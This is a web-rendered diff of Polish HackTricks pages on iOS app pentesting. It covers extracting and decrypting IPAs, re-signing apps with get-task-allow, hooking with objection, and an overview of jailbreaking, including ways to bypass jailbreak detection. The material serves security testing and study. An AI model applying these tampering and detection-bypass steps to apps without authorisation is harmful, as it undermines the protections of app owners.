3. Otwórz `Terminal` na swoim Macu i przejdź do `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. IPA pojawi się w tym folderze później.
 | 
			
		||||
4. Powinieneś zobaczyć swoje urządzenie iOS. Kliknij dwukrotnie na nie, a następnie kliknij Dodaj + → Aplikacje w górnym pasku menu.
 | 
			
		||||
5. Po kliknięciu Dodaj, Configurator pobierze IPA z Apple i spróbuje wgrać je na twoje urządzenie. Jeśli wcześniej postępowałeś zgodnie z moją rekomendacją i już zainstalowałeś IPA, pojawi się komunikat z prośbą o ponowną instalację aplikacji.
 | 
			
		||||
6. IPA powinno być pobrane w `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`, skąd możesz je pobrać.
 | 
			
		||||
 | 
			
		||||
Sprawdź [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) po więcej szczegółowych informacji na temat tego procesu.
 | 
			
		||||
 | 
			
		||||
### Odszyfrowanie aplikacji
 | 
			
		||||
 | 
			
		||||
Aby odszyfrować IPA, zamierzamy je zainstalować. Jednak jeśli masz starego iPhone'a z jailbreakiem, potencjalnie jego wersja nie będzie wspierana przez aplikację, ponieważ zazwyczaj aplikacje wspierają tylko najnowsze wersje.
 | 
			
		||||
 | 
			
		||||
Aby je zainstalować, po prostu rozpakuj IPA:
 | 
			
		||||
```bash
 | 
			
		||||
unzip redacted.ipa -d unzipped
 | 
			
		||||
```
 | 
			
		||||
Sprawdź `Info.plist` pod kątem minimalnej obsługiwanej wersji, a jeśli twoje urządzenie jest starsze, zmień wartość, aby była obsługiwana.
 | 
			
		||||
 | 
			
		||||
Spakuj ponownie IPA:
 | 
			
		||||
```bash
 | 
			
		||||
cd unzipped
 | 
			
		||||
zip -r ../no-min-version.ipa *
 | 
			
		||||
```
 | 
			
		||||
Następnie zainstaluj IPA na przykład za pomocą:
 | 
			
		||||
```bash
 | 
			
		||||
ideviceinstaller -i no-min-version.ipa -w
 | 
			
		||||
```
 | 
			
		||||
Zauważ, że możesz potrzebować **AppSync Unified tweak** z Cydii, aby zapobiec błędom `invalid signature`.
 | 
			
		||||
 | 
			
		||||
Po zainstalowaniu możesz użyć **Iridium tweak** z Cydii, aby uzyskać odszyfrowany plik IPA.
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
### Patch entitlements & re-sign
 | 
			
		||||
 | 
			
		||||
Aby ponownie podpisać aplikację z uprawnieniem `get-task-allow`, dostępnych jest kilka narzędzi, takich jak `app-signer`, `codesign` i `iResign`. `app-signer` ma bardzo przyjazny interfejs, który pozwala bardzo łatwo podpisać plik IPA, wskazując plik IPA do ponownego podpisania, aby **ustawić `get-task-allow`** oraz certyfikat i profil provisioningowy do użycia.
 | 
			
		||||
 | 
			
		||||
Jeśli chodzi o certyfikaty i profile podpisywania, Apple oferuje **darmowe profile podpisywania dla deweloperów** dla wszystkich kont przez Xcode. Po prostu stwórz aplikację i skonfiguruj jeden. Następnie skonfiguruj **iPhone, aby ufał aplikacjom dewelopera**, przechodząc do `Ustawienia` → `Prywatność i bezpieczeństwo`, a następnie kliknij na `Tryb dewelopera`.
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
Z ponownie podpisanym plikiem IPA nadszedł czas, aby zainstalować go na urządzeniu, aby przeprowadzić testy penetracyjne:
 | 
			
		||||
```bash
 | 
			
		||||
ideviceinstaller -i resigned.ipa -w
 | 
			
		||||
```
 | 
			
		||||
### Hook
 | 
			
		||||
 | 
			
		||||
Możesz łatwo podłączyć swoją aplikację, używając powszechnych narzędzi, takich jak frida i objection:
 | 
			
		||||
```bash
 | 
			
		||||
objection -g [your app bundle ID] explore
 | 
			
		||||
 | 
			
		||||
```
 | 
			
		||||
## Odniesienia
 | 
			
		||||
 | 
			
		||||
- [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
@ -4,12 +4,12 @@
 | 
			
		||||
 | 
			
		||||
## Apple Developer Program
 | 
			
		||||
 | 
			
		||||
**Tożsamość provisioningowa** to zbiór kluczy publicznych i prywatnych, które są powiązane z kontem dewelopera Apple. Aby **podpisać aplikacje**, musisz zapłacić **99$/rok** za rejestrację w **Apple Developer Program**, aby uzyskać swoją tożsamość provisioningową. Bez tego nie będziesz mógł uruchomić aplikacji z kodu źródłowego na fizycznym urządzeniu. Inną opcją jest użycie **urządzenia z jailbreakiem**.
 | 
			
		||||
**Tożsamość provisioningowa** to zbiór kluczy publicznych i prywatnych, które są powiązane z kontem dewelopera Apple. Aby **podpisać aplikacje**, musisz zapłacić **99$/rok**, aby zarejestrować się w **Apple Developer Program** i uzyskać swoją tożsamość provisioningową. Bez tego nie będziesz mógł uruchomić aplikacji z kodu źródłowego na fizycznym urządzeniu. Inną opcją jest użycie **urządzenia z jailbreakiem**.
 | 
			
		||||
 | 
			
		||||
Od Xcode 7.2 Apple wprowadziło opcję stworzenia **darmowego profilu provisioningowego do rozwoju iOS**, który pozwala na pisanie i testowanie aplikacji na prawdziwym iPhonie. Przejdź do _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Dodaj nowe Apple ID z twoimi danymi) --> _Kliknij na utworzone Apple ID_ --> _Zarządzaj certyfikatami_ --> _+_ (Apple Development) --> _Gotowe_\
 | 
			
		||||
Począwszy od Xcode 7.2, Apple udostępniło opcję stworzenia **darmowego profilu provisioningowego do rozwoju iOS**, który pozwala na pisanie i testowanie aplikacji na prawdziwym iPhonie. Przejdź do _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Dodaj nowe Apple ID ze swoimi danymi) --> _Kliknij na utworzone Apple ID_ --> _Zarządzaj certyfikatami_ --> _+_ (Apple Development) --> _Gotowe_\
 | 
			
		||||
\_\_Następnie, aby uruchomić aplikację na swoim iPhonie, musisz najpierw **wskazać iPhone'owi, aby zaufał komputerowi.** Potem możesz spróbować **uruchomić aplikację na urządzeniu mobilnym z Xcode,** ale pojawi się błąd. Przejdź do _Ustawienia_ --> _Ogólne_ --> _Profile i zarządzanie urządzeniami_ --> Wybierz nieufny profil i kliknij "**Zaufaj**".
 | 
			
		||||
 | 
			
		||||
Zauważ, że **aplikacje podpisane tym samym certyfikatem podpisującym mogą dzielić zasoby w bezpieczny sposób, takie jak elementy keychain**.
 | 
			
		||||
Zauważ, że **aplikacje podpisane tym samym certyfikatem podpisu mogą dzielić zasoby w bezpieczny sposób, takie jak elementy keychain**.
 | 
			
		||||
 | 
			
		||||
Profile provisioningowe są przechowywane w telefonie w **`/Library/MobileDevice/ProvisioningProfiles`**
 | 
			
		||||
 | 
			
		||||
@ -23,7 +23,7 @@ Profile provisioningowe są przechowywane w telefonie w **`/Library/MobileDevice
 | 
			
		||||
Pierwszą rzeczą, którą musisz wiedzieć, jest to, że **przeprowadzanie pentestu w symulatorze będzie znacznie bardziej ograniczone niż robienie tego na urządzeniu z jailbreakiem**.
 | 
			
		||||
 | 
			
		||||
Wszystkie narzędzia potrzebne do budowy i wsparcia aplikacji iOS są **oficjalnie wspierane tylko na Mac OS**.\
 | 
			
		||||
De facto narzędziem Apple do tworzenia/debugowania/instrumentowania aplikacji iOS jest **Xcode**. Może być używane do pobierania innych komponentów, takich jak **symulatory** i różne **wersje SDK** wymagane do budowy i **testowania** twojej aplikacji.\
 | 
			
		||||
De facto narzędziem Apple do tworzenia/debugowania/instrumentowania aplikacji iOS jest **Xcode**. Może być używane do pobierania innych komponentów, takich jak **symulatory** i różne **wersje SDK**, które są wymagane do budowy i **testowania** aplikacji.\
 | 
			
		||||
Zaleca się **pobranie** Xcode z **oficjalnego sklepu z aplikacjami**. Inne wersje mogą zawierać złośliwe oprogramowanie.
 | 
			
		||||
 | 
			
		||||
Pliki symulatora można znaleźć w `/Users/<username>/Library/Developer/CoreSimulator/Devices`
 | 
			
		||||
@ -37,54 +37,58 @@ Aby otworzyć symulator, uruchom Xcode, a następnie kliknij w _zakładkę Xcode
 | 
			
		||||
 | 
			
		||||
### Aplikacje w Symulatorze
 | 
			
		||||
 | 
			
		||||
W `/Users/<username>/Library/Developer/CoreSimulator/Devices` możesz znaleźć wszystkie **zainstalowane symulatory**. Jeśli chcesz uzyskać dostęp do plików aplikacji utworzonej w jednym z emulatorów, może być trudno wiedzieć, **na którym z nich aplikacja jest zainstalowana**. Szybkim sposobem na **znalezienie poprawnego UID** jest uruchomienie aplikacji w symulatorze i wykonanie:
 | 
			
		||||
W folderze `/Users/<username>/Library/Developer/CoreSimulator/Devices` możesz znaleźć wszystkie **zainstalowane symulatory**. Jeśli chcesz uzyskać dostęp do plików aplikacji utworzonej w jednym z emulatorów, może być trudno wiedzieć, **na którym z nich aplikacja jest zainstalowana**. Szybkim sposobem na **znalezienie poprawnego UID** jest uruchomienie aplikacji w symulatorze i wykonanie:
 | 
			
		||||
```bash
 | 
			
		||||
xcrun simctl list | grep Booted
 | 
			
		||||
iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
 | 
			
		||||
```
 | 
			
		||||
Gdy znasz UID, aplikacje zainstalowane w jego obrębie można znaleźć w `/Users/<username>/Library/Developer/CoreSimulator/Devices/{UID}/data/Containers/Data/Application`
 | 
			
		||||
Once you know the UID the apps installed within it can be found in `/Users/<username>/Library/Developer/CoreSimulator/Devices/{UID}/data/Containers/Data/Application`
 | 
			
		||||
 | 
			
		||||
Jednak, co zaskakujące, nie znajdziesz aplikacji tutaj. Musisz uzyskać dostęp do `/Users/<username>/Library/Developer/Xcode/DerivedData/{Application}/Build/Products/Debug-iphonesimulator/`
 | 
			
		||||
Jednak, zaskakująco, nie znajdziesz aplikacji tutaj. Musisz uzyskać dostęp do `/Users/<username>/Library/Developer/Xcode/DerivedData/{Application}/Build/Products/Debug-iphonesimulator/`
 | 
			
		||||
 | 
			
		||||
A w tym folderze możesz **znaleźć pakiet aplikacji.**
 | 
			
		||||
 | 
			
		||||
## Emulator
 | 
			
		||||
 | 
			
		||||
Corellium to jedyny publicznie dostępny emulator iOS. Jest to rozwiązanie SaaS dla przedsiębiorstw z modelem licencji na użytkownika i nie oferuje żadnej licencji próbnej.
 | 
			
		||||
Corellium jest jedynym publicznie dostępnym emulatorem iOS. Jest to rozwiązanie SaaS dla przedsiębiorstw z modelem licencji na użytkownika i nie oferuje żadnej licencji próbnej.
 | 
			
		||||
 | 
			
		||||
## Nie potrzebujesz jailbreaka
 | 
			
		||||
## No Jailbreak needed
 | 
			
		||||
 | 
			
		||||
Sprawdź ten post na blogu na temat testowania aplikacji iOS na **urządzeniu bez jailbreaka**: [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
 | 
			
		||||
Sprawdź ten post na blogu o tym, jak przeprowadzić pentesting aplikacji iOS na **urządzeniu bez jailbreaka**:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
ios-pentesting-without-jailbreak.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
## Jailbreaking
 | 
			
		||||
 | 
			
		||||
Apple ściśle wymaga, aby kod działający na iPhonie był **podpisany certyfikatem wydanym przez Apple**. **Jailbreaking** to proces aktywnego **omijania takich ograniczeń** i innych zabezpieczeń wprowadzonych przez system operacyjny. Dlatego, gdy urządzenie jest jailbreakowane, **sprawdzenie integralności**, które odpowiada za kontrolowanie instalacji aplikacji, jest poprawiane, więc jest **omijane**.
 | 
			
		||||
Apple ściśle wymaga, aby kod działający na iPhonie był **podpisany certyfikatem wydanym przez Apple**. **Jailbreaking** to proces aktywnego **obejścia takich ograniczeń** i innych zabezpieczeń wprowadzonych przez system operacyjny. Dlatego, gdy urządzenie jest jailbreakowane, **sprawdzenie integralności**, które odpowiada za kontrolowanie instalacji aplikacji, jest łatane, więc jest **obejście**.
 | 
			
		||||
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> W przeciwieństwie do Androida, **nie możesz przełączyć się na "Tryb dewelopera"** w iOS, aby uruchomić niesigned/niezaufany kod na urządzeniu.
 | 
			
		||||
> W przeciwieństwie do Androida, **nie możesz przełączyć się na "Tryb dewelopera"** w iOS, aby uruchomić niesigned/niewiarygodny kod na urządzeniu.
 | 
			
		||||
 | 
			
		||||
### Rooting Androida vs. Jailbreaking iOS
 | 
			
		||||
### Android Rooting vs. iOS Jailbreaking
 | 
			
		||||
 | 
			
		||||
Chociaż często porównywane, **rooting** na Androidzie i **jailbreaking** na iOS to zasadniczo różne procesy. Rootowanie urządzeń z Androidem może obejmować **instalację binarnego pliku `su`** lub **wymianę systemu na dostosowane ROM-y z rootem**, co niekoniecznie wymaga exploitów, jeśli bootloader jest odblokowany. **Flashing custom ROMs** zastępuje system operacyjny urządzenia po odblokowaniu bootloadera, czasami wymagając exploita.
 | 
			
		||||
Chociaż często porównywane, **rooting** na Androidzie i **jailbreaking** na iOS to zasadniczo różne procesy. Rootowanie urządzeń z Androidem może obejmować **instalację binarnego pliku `su`** lub **wymianę systemu na zrootowany niestandardowy ROM**, co niekoniecznie wymaga exploitów, jeśli bootloader jest odblokowany. **Flashing custom ROMs** zastępuje system operacyjny urządzenia po odblokowaniu bootloadera, czasami wymagając exploita.
 | 
			
		||||
 | 
			
		||||
W przeciwieństwie do tego, urządzenia iOS nie mogą flashować dostosowanych ROM-ów z powodu ograniczenia bootloadera do uruchamiania tylko obrazów podpisanych przez Apple. **Jailbreaking iOS** ma na celu ominięcie zabezpieczeń podpisywania kodu Apple, aby uruchomić niesigned kod, proces skomplikowany przez ciągłe ulepszenia zabezpieczeń Apple.
 | 
			
		||||
W przeciwieństwie do tego, urządzenia iOS nie mogą flashować niestandardowych ROM-ów z powodu ograniczenia bootloadera do uruchamiania tylko obrazów podpisanych przez Apple. **Jailbreaking iOS** ma na celu obejście zabezpieczeń podpisywania kodu Apple, aby uruchomić niesigned kod, proces skomplikowany przez ciągłe ulepszenia zabezpieczeń Apple.
 | 
			
		||||
 | 
			
		||||
### Wyzwania związane z Jailbreakingiem
 | 
			
		||||
### Jailbreaking Challenges
 | 
			
		||||
 | 
			
		||||
Jailbreaking iOS staje się coraz trudniejszy, ponieważ Apple szybko łata luki. **Downgrade iOS** jest możliwy tylko przez ograniczony czas po wydaniu, co sprawia, że jailbreak jest kwestią czasową. Urządzenia używane do testów bezpieczeństwa nie powinny być aktualizowane, chyba że ponowny jailbreak jest gwarantowany.
 | 
			
		||||
Jailbreaking iOS staje się coraz trudniejszy, ponieważ Apple szybko łata luki. **Downgrade iOS** jest możliwy tylko przez ograniczony czas po wydaniu, co sprawia, że jailbreak jest kwestią czasową. Urządzenia używane do testów bezpieczeństwa nie powinny być aktualizowane, chyba że ponowne jailbreakowanie jest gwarantowane.
 | 
			
		||||
 | 
			
		||||
Aktualizacje iOS są kontrolowane przez **mechanizm wyzwań i odpowiedzi** (SHSH blobs), pozwalający na instalację tylko dla odpowiedzi podpisanych przez Apple. Ten mechanizm, znany jako "okno podpisywania", ogranicza możliwość przechowywania i późniejszego używania pakietów firmware OTA. Strona [IPSW Downloads](https://ipsw.me) jest zasobem do sprawdzania aktualnych okien podpisywania.
 | 
			
		||||
 | 
			
		||||
### Rodzaje Jailbreaków
 | 
			
		||||
### Jailbreak Varieties
 | 
			
		||||
 | 
			
		||||
- **Jailbreak tethered** wymaga połączenia z komputerem przy każdym ponownym uruchomieniu.
 | 
			
		||||
- **Jailbreak semi-tethered** pozwala na uruchomienie w trybie bez jailbreaka bez komputera.
 | 
			
		||||
- **Jailbreak semi-untethered** wymaga ręcznego ponownego jailbreaka bez potrzeby korzystania z komputera.
 | 
			
		||||
- **Jailbreak untethered** oferuje trwałe rozwiązanie jailbreakowe bez potrzeby ponownej aplikacji.
 | 
			
		||||
- **Tethered jailbreaks** wymagają połączenia z komputerem przy każdym ponownym uruchomieniu.
 | 
			
		||||
- **Semi-tethered jailbreaks** pozwalają na uruchomienie w trybie bez jailbreaka bez komputera.
 | 
			
		||||
- **Semi-untethered jailbreaks** wymagają ręcznego ponownego jailbreakowania bez potrzeby korzystania z komputera.
 | 
			
		||||
- **Untethered jailbreaks** oferują trwałe rozwiązanie jailbreak bez potrzeby ponownej aplikacji.
 | 
			
		||||
 | 
			
		||||
### Narzędzia i zasoby do Jailbreakingu
 | 
			
		||||
### Jailbreaking Tools and Resources
 | 
			
		||||
 | 
			
		||||
Narzędzia do jailbreakingu różnią się w zależności od wersji iOS i urządzenia. Zasoby takie jak [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com) i [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) dostarczają aktualnych informacji. Przykłady to:
 | 
			
		||||
Narzędzia do jailbreakowania różnią się w zależności od wersji iOS i urządzenia. Zasoby takie jak [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com) i [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) dostarczają aktualnych informacji. Przykłady obejmują:
 | 
			
		||||
 | 
			
		||||
- [Checkra1n](https://checkra.in/) dla urządzeń z chipami A7-A11.
 | 
			
		||||
- [Palera1n](https://palera.in/) dla urządzeń Checkm8 (A8-A11) na iOS 15.0-16.5.
 | 
			
		||||
@ -92,21 +96,21 @@ Narzędzia do jailbreakingu różnią się w zależności od wersji iOS i urząd
 | 
			
		||||
 | 
			
		||||
Modyfikowanie urządzenia wiąże się z ryzykiem, a jailbreak powinien być traktowany z ostrożnością.
 | 
			
		||||
 | 
			
		||||
### Korzyści i ryzyka związane z Jailbreakingiem
 | 
			
		||||
### Jailbreaking Benefits and Risks
 | 
			
		||||
 | 
			
		||||
Jailbreaking **usuwa piaskownicę narzuconą przez system operacyjny**, umożliwiając aplikacjom dostęp do całego systemu plików. Ta swoboda pozwala na instalację niezatwierdzonych aplikacji i dostęp do większej liczby interfejsów API. Jednak dla zwykłych użytkowników, jailbreak **nie jest zalecany** z powodu potencjalnych zagrożeń bezpieczeństwa i niestabilności urządzenia.
 | 
			
		||||
Jailbreaking **usuwa piaskownicę narzuconą przez system operacyjny**, umożliwiając aplikacjom dostęp do całego systemu plików. Ta swoboda umożliwia instalację niezatwierdzonych aplikacji i dostęp do większej liczby interfejsów API. Jednak dla zwykłych użytkowników jailbreak **nie jest zalecany** z powodu potencjalnych zagrożeń bezpieczeństwa i niestabilności urządzenia.
 | 
			
		||||
 | 
			
		||||
### **Po Jailbreaku**
 | 
			
		||||
### **After Jailbreaking**
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
basic-ios-testing-operations.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
### **Wykrywanie Jailbreaka**
 | 
			
		||||
### **Jailbreak Detection**
 | 
			
		||||
 | 
			
		||||
**Kilka aplikacji spróbuje wykryć, czy urządzenie mobilne jest jailbreakowane, a w takim przypadku aplikacja nie będzie działać**
 | 
			
		||||
 | 
			
		||||
- Po jailbreaku w iOS **pliki i foldery są zazwyczaj instalowane**, które można przeszukać, aby ustalić, czy urządzenie jest jailbreakowane.
 | 
			
		||||
- Po jailbreakowaniu iOS **pliki i foldery są zazwyczaj instalowane**, które można przeszukać, aby ustalić, czy urządzenie jest jailbreakowane.
 | 
			
		||||
- W urządzeniu z jailbreakiem aplikacje uzyskują **dostęp do odczytu/zapisu do nowych plików** poza piaskownicą.
 | 
			
		||||
- Niektóre **wywołania API** **będą **zachowywać się inaczej**.
 | 
			
		||||
- Obecność usługi **OpenSSH**.
 | 
			
		||||
@ -116,12 +120,12 @@ basic-ios-testing-operations.md
 | 
			
		||||
 | 
			
		||||
Możesz spróbować uniknąć tych wykryć, używając **objection's** `ios jailbreak disable`
 | 
			
		||||
 | 
			
		||||
## **Obejście wykrywania jailbreaka**
 | 
			
		||||
## **Jailbreak Detection Bypass**
 | 
			
		||||
 | 
			
		||||
- Możesz spróbować uniknąć tych wykryć, używając **objection's** `ios jailbreak disable`
 | 
			
		||||
- Możesz również zainstalować narzędzie **Liberty Lite** (https://ryleyangus.com/repo/). Po dodaniu repo, aplikacja powinna pojawić się w zakładce 'Szukaj'
 | 
			
		||||
- Możesz również zainstalować narzędzie **Liberty Lite** (https://ryleyangus.com/repo/). Po dodaniu repo, aplikacja powinna pojawić się w zakładce 'Search'
 | 
			
		||||
 | 
			
		||||
## Referencje
 | 
			
		||||
## References
 | 
			
		||||
 | 
			
		||||
- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user